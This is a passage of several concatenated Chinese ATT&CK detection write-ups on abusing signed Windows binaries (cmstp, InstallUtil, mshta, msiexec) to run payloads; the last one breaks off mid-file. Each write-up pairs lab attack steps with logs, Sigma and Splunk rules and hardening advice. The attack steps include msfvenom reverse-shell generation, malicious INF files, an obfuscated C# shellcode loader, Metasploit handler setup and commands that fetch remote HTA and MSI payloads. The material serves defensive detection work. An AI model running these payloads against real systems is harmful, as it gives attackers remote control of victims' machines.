Sysmon日志: - 事件ID 1:进程创建,包含进程信息、命令行和哈希值。 - 事件ID 7:映像加载,记录加载的DLL(如`CMLUA.dll`或恶意DLL)。 - 事件ID 12/13:注册表操作,记录对`HKLM\SOFTWARE\Microsoft\Connection Manager`等键的访问。 - 文件监控: - 检测临时目录或非标准路径下的INF文件或DLL/SCT文件。 - 网络监控: - 检测`Cmstp.exe`发起的异常网络连接(如WebDAV或反弹Shell)。 ### 日志示例 - 事件ID 4688示例: ``` 进程信息: 新进程名称:C:\Windows\System32\cmstp.exe 命令行:cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf 创建者进程名称:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 1示例: ``` 事件ID:1 OriginalFileName:CMSTP.EXE CommandLine:cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf CurrentDirectory:C:\Windows\system32\ User:12306Br0-PC\12306Br0 Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668 ParentImage:C:\Windows\System32\cmd.exe ``` ## 测试复现 ### 环境准备 - 攻击机:Kali Linux 2019(或其他支持Metasploit的系统) - 靶机:Windows 7(或其他支持`Cmstp.exe`的Windows系统) - 工具: - Metasploit Framework(用于生成Payload和监听) - Sysmon(可选,用于日志收集) ### 攻击分析 #### 1.生成恶意DLL 在攻击机上使用`msfvenom`生成恶意DLL: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -f dll -o payload.dll ``` - 参数说明: - `-a x86`:指定32位架构。 - `-p windows/meterpreter/reverse_tcp`:生成反弹Shell Payload。 - `LHOST`和`LPORT`:指定攻击机IP和端口。 - `-f dll`:输出为DLL格式。 - `-o payload.dll`:输出文件名。 将生成的`payload.dll`传输到靶机(如`C:\Users\12306Br0\Desktop\a\payload.dll`)。 #### 2.创建INF文件 创建包含恶意DLL或SCT的INF文件。以下是两个INF文件示例: **本地DLL的INF文件**: ```inf [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] C:\Users\12306Br0\Desktop\a\payload.dll [Strings] AppAct="SOFTWARE\Microsoft\Connection Manager" ServiceName="12306Br0" ShortSvcName="12306Br0" ``` **远程SCT的INF文件**: ```inf [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct [Strings] AppAct="SOFTWARE\Microsoft\Connection Manager" ServiceName="Micropoor" ShortSvcName="Micropoor" ``` - 说明: - `UnRegisterOCXs`:指定在卸载时执行的OCX/DLL/SCT。 - 本地路径(如`C:\Users\12306Br0\Desktop\a\payload.dll`)或远程WebDAV路径(如`http://192.168.1.4/cmstp_rev_53_x64.sct`)均可。 - `scrobj.dll`:用于执行SCT脚本的COM组件。 将INF文件保存到靶机(如`C:\Users\12306Br0\Desktop\a\add.inf`)。 #### 3.配置攻击机监听 在攻击机上使用Metasploit配置反弹Shell监听: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 53 msf5 exploit(multi/handler)>set AutoRunScript migrate -f msf5 exploit(multi/handler)>exploit ``` - 参数说明: - `payload`:使用`windows/meterpreter/reverse_tcp`生成反弹Shell。 - `LHOST`和`LPORT`:指定攻击机IP和端口(此处为53,可能用于规避防火墙)。 - `AutoRunScript migrate -f`:自动迁移Meterpreter会话到其他进程(如`explorer.exe`),增强隐蔽性。 #### 4.执行Payload 在靶机上执行`Cmstp.exe`,加载INF文件: ```cmd cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf ``` - 参数说明: - `/ni`:不创建桌面快捷方式,减少可见痕迹。 - `/s`:指定INF文件路径。 如果INF文件引用远程SCT,还需在攻击机上托管SCT文件(如通过WebDAV服务器)。 #### 5.反弹Shell 执行后,`Cmstp.exe`加载INF文件中指定的DLL或SCT,触发Payload,靶机连接到攻击机的Metasploit监听端口,生成Meterpreter会话。若未获取Shell,可能原因包括: - 防火墙阻止出站连接。 - INF文件配置错误(如路径无效)。 - Payload与系统架构不兼容(需确认32位/64位)。 ## 测试留痕 ### Windows安全日志 - 事件ID 4688: - 记录`Cmstp.exe`的执行,包含命令行参数和父进程。 - 示例: ``` 进程信息: 新进程名称:C:\Windows\System32\cmstp.exe 命令行:cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID 1: - 记录进程创建的详细信息: ``` 事件ID:1 OriginalFileName:CMSTP.EXE CommandLine:cmstp.exe /ni /s C:\Users\12306Br0\Desktop\a\add.inf CurrentDirectory:C:\Windows\system32\ User:12306Br0-PC\12306Br0 Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668 ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID 7: - 记录加载的DLL(如`CMLUA.dll`或`payload.dll`)。 - 事件ID 12/13: - 记录注册表操作,如对`HKLM\SOFTWARE\Microsoft\Connection Manager`的修改。 ### 文件痕迹 - INF文件和DLL/SCT文件存储在用户指定路径(如`C:\Users\12306Br0\Desktop\a\`)。 - 可能创建临时注册表键(如`HKLM\SOFTWARE\Microsoft\Connection Manager`)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`Cmstp.exe`的异常执行,特别是带有`/ni`、`/s`或`/au`参数的情况。 - 检查父进程(如`cmd.exe`、`powershell.exe`)和加载的DLL/SCT。 2. 命令行分析: - 使用正则表达式匹配可疑参数: ```regex cmstp\.exe.*(/ni|/s|/au).*\.inf ``` 3. 网络流量: - 检测`Cmstp.exe`发起的异常网络连接(如WebDAV请求或反弹Shell)。 4. 文件监控: - 检测临时目录或非标准路径下的INF、DLL或SCT文件。 5. 行为分析: - 检测`Cmstp.exe`加载`CMLUA.dll`(UAC绕过)或非标准DLL。 - 监控注册表键`HKLM\SOFTWARE\Microsoft\Connection Manager`的创建或修改。 ### Sigma规则 以下是一个针对`Cmstp.exe`可疑执行的Sigma规则,适用于SIEM系统(如Splunk、Elastic)检测Windows安全日志或Sysmon日志中的异常行为。 ```yaml title:可疑Cmstp.exe执行 id:9e4b7a2f-3c8d-4a2b-9e7c-4d5e6f7a8b9c description:检测Cmstp.exe的异常执行,可能用于加载恶意INF文件执行DLL或SCT status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\cmstp.exe' CommandLine|contains: - '/ni' - '/s' - '/au' - '.inf' filter_legitimate: ParentImage|endswith: - '\msiexec.exe' - '\devenv.exe' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的连接管理器服务部署(如VPN配置) level:high tags: - attack.execution - attack.t1218.003 ``` 规则说明: - 目标:检测`Cmstp.exe`的进程创建事件,重点关注带有`/ni`、`/s`、`/au`或`.inf`的命令行。 - 过滤:排除由合法工具(如`msiexec.exe`、`devenv.exe`)触发的执行,减少误报。 - 日志来源:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - 误报处理:合法的VPN或连接管理器部署可能触发此规则,需结合上下文(如INF文件内容、父进程)分析。 - 级别:标记为“高”优先级,因`Cmstp.exe`的异常使用通常与恶意活动相关。 ### Splunk规则 以下是优化后的Splunk查询,用于检测`Cmstp.exe`的异常行为: ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\cmstp.exe" CommandLine IN ("*/ni*","*/s*","*/au*","*.inf*")) OR (EventCode=7 Image="*\cmstp.exe" ImageLoaded="*\CMLUA.dll") OR (EventCode IN (12,13) TargetObject IN ("*\Microsoft\Connection Manager*","*\CMMGR32.exe")) | fields Image,CommandLine,ParentImage,User,ImageLoaded,TargetObject ``` 规则说明: - 检测`Cmstp.exe`的进程创建(事件ID 1)、加载`CMLUA.dll`(事件ID 7,UAC绕过指示)或访问相关注册表键(事件ID 12/13)。 - 减少误报:排除合法场景,结合上下文分析。 ### 检测挑战 - 误报:合法的连接管理器服务部署(如VPN配置)可能触发类似日志,需结合INF文件内容和网络行为分析。 - 日志依赖:默认Windows日志可能不足以捕获完整命令行,需启用审核策略或部署Sysmon。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon并配置针对`Cmstp.exe`的详细规则,监控进程创建和注册表操作。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是到未知IP的高危端口(如53、4444)或WebDAV请求。 3. 文件审查: - 定期扫描临时目录,检测异常的INF、DLL或SCT文件,结合静态分析(如反编译DLL)。 4. 权限控制: - 限制普通用户的`Cmstp.exe`执行权限,防止未经授权的调用。 5. 安全更新: - 保持Windows系统和相关组件更新,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK T1218.003: - Windows下基于白名单获取Shell的方法整理(下): - 基于白名单Cmstp.exe执行Payload第十六季: - Sysmon配置与检测: - Metasploit Framework: 用于生成和测试反弹Shell。 - Sysmon: Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1218.004-Win-使用Installutil.exe执行payload(白名单).md ================================================ # T1218.004-使用InstallUtil.exe执行Payload(白名单绕过) ## 描述 `InstallUtil.exe`是一个由Microsoft提供的命令行实用程序,用于安装和卸载.NET应用程序中的资源。它位于Windows系统中的.NET Framework目录下: - 32位路径:`C:\Windows\Microsoft.NET\Framework\v<版本>\InstallUtil.exe` - 64位路径:`C:\Windows\Microsoft.NET\Framework64\v<版本>\InstallUtil.exe` 该工具由Microsoft进行数字签名,被视为受信任的Windows实用程序。攻击者可利用`InstallUtil.exe`通过执行.NET二进制文件中指定的安装程序组件来代理执行恶意代码。这种技术允许攻击者伪装成合法操作,绕过基于白名单的防御机制。 具体而言,攻击者可以在.NET二进制文件中嵌入恶意代码,并通过使用`[System.ComponentModel.RunInstaller(true)]`属性修饰的类,在`InstallUtil.exe`执行安装或卸载操作(如使用`/U`参数)时触发代码执行。`InstallUtil.exe`支持多种参数(如`/logfile=`、`/LogToConsole=false`),可用于减少执行痕迹,增强隐蔽性。 此技术常用于初始访问后的持久化、权限提升或横向移动阶段,因其利用了受信任的系统工具而难以被传统防病毒软件检测。 ## 测试案例 ### 案例说明 `InstallUtil.exe`通常未包含在系统的`PATH`环境变量中,因此直接运行`InstallUtil`命令会提示“命令未找到”。需要使用完整路径调用,例如: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ``` ### 补充说明 - **日志监控**: - 在高版本Windows系统中(如Windows Server 2012及以上),可通过组策略启用进程命令行参数的记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署**Sysmon**(System Monitor)并配置适当规则,可记录详细的进程创建和命令行活动。 - **局限性**: - 默认情况下,Windows事件日志可能不记录完整的命令行参数,需手动启用审核策略。 - `InstallUtil.exe`的合法使用场景(如.NET应用程序部署)可能产生类似日志,需结合上下文分析。 ## 检测日志 ### 数据来源 - **Windows安全日志**: - **事件ID 4688**:进程创建事件,记录进程名称、命令行参数和父进程信息。 - 需启用命令行审核策略以捕获完整参数。 - **Sysmon日志**: - **事件ID 1**:进程创建,包含详细的进程信息、命令行和哈希值。 - **事件ID 7**:映像加载,记录加载的DLL。 - **文件监控**: - 检测临时目录或非标准路径下的.NET二进制文件。 - **网络监控**: - 检测由`InstallUtil.exe`触发的异常网络连接(如反弹Shell)。 ## 测试复现 ### 环境准备 - **攻击机**:Kali Linux 2019(或其他支持Metasploit的系统) - **靶机**:Windows Server 2012(或其他支持.NET Framework的Windows系统) - **工具**: - Metasploit Framework(用于生成Payload和监听) - .NET Framework开发环境(用于编译恶意代码) - Sysmon(可选,用于日志收集) ### 攻击分析 #### 1.生成恶意C#代码 以下是恶意C#代码,用于实现反弹Shell: ```csharp using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Configuration.Install; using System.Windows.Forms; public class GQLBigHgUniLuVx { public static void Main() { while (true) { MessageBox.Show("doge"); Console.ReadLine(); } } } [System.ComponentModel.RunInstaller(true)] public class esxWUYUTWShqW : System.Configuration.Install.Installer { public override void Uninstall(System.Collections.IDictionary zWrdFAUHmunnu) { jkmhGrfzsKQeCG.LCIUtRN(); } } public class jkmhGrfzsKQeCG { [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 YUtHhF,UInt32 VenifEUR,UInt32 NIHbxnOmrgiBGL,UInt32 KIheHEUxhAfOI); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 GDmElasSZbx,UInt32 rGECFEZG,UInt32 UyBSrAIp,IntPtr sPEeJlufmodo,UInt32 jmzHRQU,ref UInt32 SnpQPGMvDbMOGmn); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr pRIwbzTTS,UInt32 eRLAWWYQnq); static byte[] ErlgHH(string ZwznjBJY,int KsMEeo) { IPEndPoint qAmSXHOKCbGlysd=new IPEndPoint(IPAddress.Parse(ZwznjBJY),KsMEeo); Socket XXxIoIXNCle=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp); try {XXxIoIXNCle.Connect(qAmSXHOKCbGlysd);} catch {return null;} byte[] UmquAHRnhhpuE=new byte[4]; XXxIoIXNCle.Receive(UmquAHRnhhpuE,4,0); int kFVRSNnpj=BitConverter.ToInt32(UmquAHRnhhpuE,0); byte[] qaYyFq=new byte[kFVRSNnpj+5]; int SRCDELibA=0; while(SRCDELibAuse exploit/multi/handler msf5 exploit(multi/handler)>set PAYLOAD windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 4444 msf5 exploit(multi/handler)>set AutoRunScript migrate -f msf5 exploit(multi/handler)>exploit ``` - **参数说明**: - `PAYLOAD`:使用`windows/meterpreter/reverse_tcp`生成反弹Shell。 - `LHOST`和`LPORT`:指定攻击机的IP和端口。 - `AutoRunScript migrate -f`:自动将Meterpreter会话迁移到其他进程(如`explorer.exe`),增强隐蔽性。 ![监听](https://img-blog.csdnimg.cn/20200413152209214.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) #### 4.执行Payload 在靶机上使用`InstallUtil.exe`执行编译好的Payload: ```cmd C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U Micropoor.exe ``` - **参数说明**: - `/logfile=`:不生成日志文件。 - `/LogToConsole=false`:禁用控制台输出,减少痕迹。 - `/U`:触发卸载操作,调用`[RunInstaller(true)]`修饰的类的`Uninstall`方法。 #### 5.反弹Shell 执行后,靶机连接到攻击机的Metasploit监听端口,生成Meterpreter会话。攻击者可通过Meterpreter执行后续操作,如提权、持久化或横向移动。 ![执行payload](https://img-blog.csdnimg.cn/20200413152353294.png) ## 测试留痕 ![日志留痕](https://img-blog.csdnimg.cn/20200413152656624.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) ## 检测规则/思路 ### 检测方法 1. **进程监控**: - 检测`InstallUtil.exe`的异常执行,特别是非标准路径或带有可疑参数(如`/U`、`/logfile=`)。 - 检查父进程(如`cmd.exe`、`powershell.exe`)和子进程的上下文。 2. **命令行分析**: - 使用正则表达式匹配可疑参数: ```regex InstallUtil\.exe.*(/U|/logfile=|/LogToConsole=false).*\.exe ``` 3. **网络流量**: - 检测`InstallUtil.exe`发起的非预期网络连接,尤其是到外部IP的TCP会话。 4. **文件监控**: - 检测临时目录或用户目录下的新.NET二进制文件,结合静态分析(如反编译)。 5. **行为分析**: - 检测`InstallUtil.exe`加载非标准DLL或调用内存分配函数(如`VirtualAlloc`)。 ### Sigma规则 以下是一个针对`InstallUtil.exe`可疑执行的Sigma规则,适用于SIEM系统(如Splunk、Elastic)检测Windows安全日志或Sysmon日志中的异常行为。 ```yaml title: 可疑InstallUtil.exe执行 id: 8f7b5e3a-7b9c-4f2a-9d8e-3c4f5b6a7c8d description: 检测InstallUtil.exe的异常执行,可能用于代理执行恶意.NET二进制文件 status: experimental date: 2025/06/15 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\InstallUtil.exe' CommandLine|contains: - '/U' - '/logfile=' - '/LogToConsole=false' filter_legitimate: ParentImage|endswith: - '\msbuild.exe' - '\devenv.exe' condition: selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的.NET应用程序部署(如开发环境中使用Visual Studio或MSBuild) level: high tags: - attack.execution - attack.t1218.004 ``` **规则说明**: - **目标**:检测`InstallUtil.exe`的进程创建事件,重点关注带有`/U`、`/logfile=`或`/LogToConsole=false`等可疑参数的执行。 - **过滤**:排除由合法开发工具(如`msbuild.exe`、`devenv.exe`)触发的执行,减少误报。 - **日志来源**:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - **误报处理**:合法的.NET部署可能触发此规则,需结合上下文(如父进程、文件路径)进一步分析。 - **级别**:标记为“高”优先级,因`InstallUtil.exe`的异常使用通常与恶意活动相关。 ### 检测挑战 - **误报**:合法的.NET应用程序部署可能使用`InstallUtil.exe`,需结合上下文(如文件路径、命令行参数)排除。 - **日志依赖**:默认Windows日志可能不足以捕获完整命令行,需启用审核策略或部署Sysmon。 ## 防御建议 1. **监控和日志**: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon并配置针对`InstallUtil.exe`的详细规则。 2. **网络隔离**: - 限制非必要主机的出站连接,尤其是到未知IP的高危端口(如4444)。 3. **代码审查**: - 对开发环境中使用的.NET二进制文件进行静态分析,检测可疑属性(如`[RunInstaller(true)]`)。 4. **权限控制**: - 限制普通用户的执行权限,防止未经授权的`InstallUtil.exe`调用。 5. **安全更新**: - 保持.NET Framework和Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK: T1218.004 - 基于白名单InstallUtil.exe执行Payload - 基于白名单的Payload技术分析 - InstallUtil.exe绕过白名单的实现 - Sysmon配置与检测 ================================================ FILE: Windows/07逃避防御/T1218.005-Win-使用Mshta.exe执行payload(白名单).md ================================================ # T1218.005-Win-使用Mshta.exe执行Payload(白名单) ## 描述 攻击者可能利用**mshta.exe**代理执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.005)。`mshta.exe`是Windows内置工具,用于执行HTML应用程序(HTA文件,扩展名`.hta`),由微软数字签名,常被白名单或误报。攻击者可通过`mshta.exe`加载本地或远程HTA文件、内联VBScript/JScript,或直接调用远程脚本(如SCT文件),执行恶意Payload,如Meterpreter反向Shell。此技术利用`mshta.exe`的合法性和其在浏览器安全上下文之外执行的特点,绕过应用程序白名单和浏览器安全设置,适用于防御规避和初始访问。 本案例聚焦于使用`mshta.exe`加载远程HTA文件(如`http:///Uj6Tcv.hta`),执行Meterpreter反向Shell,模拟攻击者绕过白名单的场景。 ## 测试案例 ### 测试1:使用Mshta.exe执行远程HTA Payload 攻击者通过`mshta.exe`加载远程HTA文件,触发反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows Server 2012(支持Windows 7及以上,需安装.NET Framework 3.5+) - 工具:Metasploit(生成Payload)、`mshta.exe`(系统自带) - 权限:普通用户 - 路径: - `C:\Windows\System32\mshta.exe` - `C:\Windows\SysWOW64\mshta.exe` **攻击命令**(靶机): ```cmd mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta ``` **说明**: - `http://192.168.126.146:8080/Uj6Tcv.hta`:远程HTA文件,包含Meterpreter Payload。 - 执行触发反向Shell。 **清理命令**: ```cmd taskkill /IM mshta.exe /F ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`mshta.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录`mshta.exe`的HTTP连接和反向Shell的网络连接(如TCP 4444)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`mshta.exe`的命令行及父进程信息。 - Event ID 3:网络连接,记录`mshta.exe`的HTTP请求和C2连接。 - Event ID 7:镜像加载,记录加载的DLL或模块(如`scrobj.dll`)。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建、网络连接和镜像加载事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows Server 2012,IP:192.168.126.156,Sysmon已部署,.NET Framework 3.5安装 - **工具**:Metasploit(`msfvenom`和`exploit/windows/misc/hta_server`) ### 测试过程 #### 1. 生成恶意HTA(攻击机) **命令**: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f hta-psh -o Uj6Tcv.hta ``` **说明**: - 生成PowerShell封装的Meterpreter反向Shell HTA文件,保存为`Uj6Tcv.hta`。 - 示例HTA内容(简化): ```html ``` #### 2. 配置Metasploit HTA服务器(攻击机) **命令**: ```bash msfconsole use exploit/windows/misc/hta_server set LHOST 192.168.126.146 set SRVHOST 192.168.126.146 set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 4444 exploit ``` **输出**: ``` [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Using URL: http://192.168.126.146:8080/Uj6Tcv.hta [*] Server started. ``` **说明**: - 配置Metasploit托管HTA文件,监听反向TCP连接(端口4444)。 #### 3. 靶机执行Payload **命令**: ```cmd mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta ``` **结果**: - `mshta.exe`下载并执行`Uj6Tcv.hta`,触发Meterpreter Payload。 - 攻击机接收会话: ``` [*] 192.168.126.156 hta_server - Delivering Payload [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.156:50232) at 2023-10-01 10:00:00 +0800 meterpreter > getuid Server username: WIN-SRV-2012\Administrator ``` **注意**: - 靶机需安装.NET Framework 3.5以支持PowerShell执行。 - 可能因安全策略(如AMSI或PowerShell限制)失败,需调整靶机配置。 #### 4. 清理 **靶机**: ```cmd taskkill /IM mshta.exe /F taskkill /IM powershell.exe /F ``` **攻击机**: - 关闭Metasploit会话:`exit` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN-SRV-2012 描述: 已创建新进程。 进程信息: 新进程 ID: 0xb20 新进程名称: C:\Windows\System32\mshta.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0x13c 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta ``` **分析**: - 日志记录`mshta.exe`执行,命令行包含远程HTA URL。 - 父进程为`cmd.exe`,提示通过命令行触发。 ### Sysmon日志(Event ID 3:网络连接) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 3 任务类别: Network connection detected 级别: 信息 用户: WIN-SRV-2012\Administrator 计算机: WIN-SRV-2012 描述: Network connection detected: RuleName: technique_id=T1218.005,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000} ProcessId: 2848 Image: C:\Windows\System32\mshta.exe Protocol: tcp DestinationIp: 192.168.126.146 DestinationPort: 8080 DestinationHostname: 192.168.126.146 ``` **分析**: - 日志记录`mshta.exe`发起HTTP连接(TCP 8080),下载HTA文件。 - 后续可能记录C2连接(TCP 4444)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Mshta.exe可疑执行 description: Detects suspicious mshta.exe execution patterns, including remote HTA or script execution. status: experimental author: Diego Perez (@darkquassar), Markus Neis date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/005/ - http://blog.sevagas.com/?Hacking-around-HTA-files tags: - attack.defense_evasion - attack.execution - attack.t1218.005 logsource: product: windows category: process_creation detection: selection1: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\mshta.exe' CommandLine|contains: - '://' - '.hta' - 'vbscript' - 'jscript' selection2: EventID: - 4688 - 1 Image|endswith: '\powershell.exe' ParentImage|endswith: '\mshta.exe' condition: selection1 or selection2 fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of mshta.exe for HTA-based applications level: high ``` **规则说明**: - 检测`mshta.exe`执行,命令行包含`://`(如HTTP URL)、`.hta`、或脚本关键字(如`vbscript`、`jscript`)。 - 检测`powershell.exe`由`mshta.exe`启动,提示HTA触发PowerShell Payload。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法HTA应用的误报。 ### 建议 1. **监控Mshta.exe活动**: - 使用Sysmon(Event ID 1)捕获`mshta.exe`的进程创建,检查命令行是否包含`://`、`.hta`或脚本关键字。 - 监控Event ID 3(网络连接),检测HTTP请求或C2连接(如TCP 4444)。 - 监控Event ID 7(镜像加载),检测可疑DLL(如`scrobj.dll`)。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行、网络连接和镜像加载事件。 3. **基线化行为**: - 建立`mshta.exe`的正常使用基线,加载远程HTA或触发网络连接应罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如URL)。 4. **限制Mshta.exe使用**: - 使用AppLocker或组策略限制`mshta.exe`的执行,仅允许受信任的HTA文件。 - 禁用`mshta.exe`的网络访问(如阻止HTTP出站流量)。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`mshta.exe`代理执行。 - 设置高优先级告警,针对远程HTA加载或脚本执行。 6. **行为链关联**: - 将`mshta.exe`执行与其他可疑行为(如`powershell.exe`启动、网络连接)关联,识别攻击链。 - 例如,检测`mshta.exe`加载HTA后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止`mshta.exe`的非必要出站连接(如HTTP 8080或TCP 4444)。 - 监控异常IP或域名的HTTP流量。 8. **测试与验证**: - 在测试环境中模拟`mshta.exe`加载远程HTA(如使用Metasploit),验证检测规则有效性。 - 测试不同Windows版本和补丁级别,确认Payload执行的成功率。 - 调整规则阈值,排除合法HTA应用的误报。 ## 参考推荐 - MITRE ATT&CK T1218.005 - 远控免杀专题:Mshta.exe执行Payload - 检测可疑的Mshta使用情况 - Atomic Red Team T1218.005 - Microsoft文档:HTA概述 ================================================ FILE: Windows/07逃避防御/T1218.007-Win-使用Msiexec.exe执行Payload(白名单).md ================================================ # T1218.007-Win-使用Msiexec.exe执行Payload(白名单) ## 描述 攻击者可能利用**msiexec.exe**代理执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.007)。`msiexec.exe`是Windows Installer的组成部分,用于安装MSI(Microsoft Installer)包,由微软数字签名,常被白名单或误报。攻击者可通过`msiexec.exe`加载本地或远程恶意MSI文件,触发恶意Payload,如Meterpreter反向Shell。此技术利用`msiexec.exe`的合法性和白名单特性,结合其支持从远程URL加载MSI的能力,增加隐蔽性,适用于防御规避和初始访问。 本案例聚焦于使用`msiexec.exe`加载远程MSI文件(如`http:///1.msi`),执行Meterpreter反向Shell,模拟攻击者绕过应用程序白名单的场景。 ## 测试案例 ### 测试1:使用Msiexec.exe执行远程MSI Payload 攻击者通过`msiexec.exe`加载远程MSI文件,触发反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows 7(支持Windows 2003及以上) - 工具:Metasploit(生成Payload)、`msiexec.exe`(系统自带) - 权限:普通用户 - 路径: - `C:\Windows\System32\msiexec.exe` - `C:\Windows\SysWOW64\msiexec.exe` **攻击命令**(靶机): ```cmd msiexec.exe /q /i http://192.168.126.146/1.msi ``` **说明**: - `/q`:静默模式,抑制用户界面。 - `/i`:安装模式,指定MSI文件路径(支持HTTP URL)。 - `http://192.168.126.146/1.msi`:远程MSI文件,包含Meterpreter Payload。 - 执行触发反向Shell。 **清理命令**: ```cmd taskkill /IM msiexec.exe /F ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`msiexec.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录`msiexec.exe`的HTTP连接和反向Shell的网络连接(如TCP 1234)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`msiexec.exe`的命令行及父进程信息。 - Event ID 3:网络连接,记录`msiexec.exe`的HTTP请求和C2连接。 - Event ID 7:镜像加载,记录加载的DLL或模块(若MSI触发额外加载)。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建、网络连接和镜像加载事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows 7,IP:192.168.126.149,Sysmon已部署 - **工具**:Metasploit(`msfvenom`和`exploit/multi/handler`) ### 测试过程 #### 1. 生成恶意MSI(攻击机) **命令**: ```bash 